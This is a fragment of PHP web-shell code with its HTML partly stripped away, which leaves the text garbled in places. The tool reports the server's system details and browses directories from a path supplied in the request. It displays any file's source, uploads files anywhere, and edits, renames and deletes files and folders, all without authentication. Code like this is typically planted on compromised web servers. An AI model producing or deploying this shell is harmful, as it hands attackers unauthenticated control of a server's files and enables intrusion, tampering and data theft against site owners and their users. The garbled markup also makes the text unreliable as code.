'; echo "".php_uname()."
"; echo ''; if(isset($_GET['filesrc'])){ echo "

'; if(isset($_GET['j'])){ $j = $_GET['j']; }else{ $j = getcwd(); } $j = str_replace('\\','/',$j); $paths = explode('/',$j); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '


'; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$j.'/'.$_FILES['file']['name'])){ echo '

OK
'; }else{ echo ''; } } echo '
"; echo $_GET['filesrc']; echo '

'; echo(' '); }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
'.$_POST['j'].'

'; if($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo '
'; } elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['j'],$j.'/'.$_POST['newname'])){ echo '

OK
'; }else{ echo ''; } $_POST['name'] = $_POST['newname']; } echo '
'; } elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['j'],'w'); if(fwrite($fp,$_POST['src'])){ echo '

OK
'; }else{ echo ''; } fclose($fp); } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'g'){ if(rmdir($_POST['j'])){ echo '

OK
'; }else{ echo '>'; } } elseif($_POST['type'] == 'file'){ if(unlink($_POST['j'])){ echo '

OK
'; }else{ echo ''; } } } ?> '; $scandir = scandir($j); $pa = getcwd(); echo '
'; foreach($scandir as $g){ if(!is_dir("$j/$g") || $g == '.' || $g == '..') continue; echo ""; } echo ''; foreach($scandir as $file){ if(!is_file("$j/$file")) continue; $size = filesize("$j/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo ""; } echo '
D $g
D
"; if(is_writable("$j/$g")) echo ''; elseif(!is_readable("$j/$g")) echo ''; echo z("$j/$g"); if(is_writable("$j/$g") || !is_readable("$j/$g")) echo ''; echo "
\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
F $file
".$size."
"; if(is_writable("$j/$file")) echo ''; elseif(!is_readable("$j/$file")) echo ''; echo z("$j/$file"); if(is_writable("$j/$file") || !is_readable("$j/$file")) echo ''; echo "
\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15\"/>
'; } function z($file){ $z = fileperms($file); if (($z & 0xC000) == 0xC000) { $info = 's'; } elseif (($z & 0xA000) == 0xA000) { $info = '4'; } elseif (($z & 0x8000) == 0x8000) { $info = '0'; } elseif (($z & 0x6000) == 0x6000) { $info = '3'; } elseif (($z & 0x4000) == 0x4000) { $info = '3'; } elseif (($z & 0x2000) == 0x2000) { $info = 'c'; } elseif (($z & 0x1000) == 0x1000) { $info = 'p'; } else { $info = '5'; } $info .= (($z & 0x0100) ? '2' : '0'); $info .= (($z & 0x0080) ? '1' : '0'); $info .= (($z & 0x0040) ? (($z & 0x0800) ? 's' : '6' ) : (($z & 0x0800) ? 'S' : '0')); $info .= (($z & 0x0020) ? '2' : '0'); $info .= (($z & 0x0010) ? '1' : '0'); $info .= (($z & 0x0008) ? (($z & 0x0400) ? 's' : '6' ) : (($z & 0x0400) ? 'S' : '0')); $info .= (($z & 0x0004) ? '2' : '0'); $info .= (($z & 0x0002) ? '1' : '0'); $info .= (($z & 0x0001) ? (($z & 0x0200) ? 't' : '6' ) : (($z & 0x0200) ? 'T' : '0')); return $info; } ?>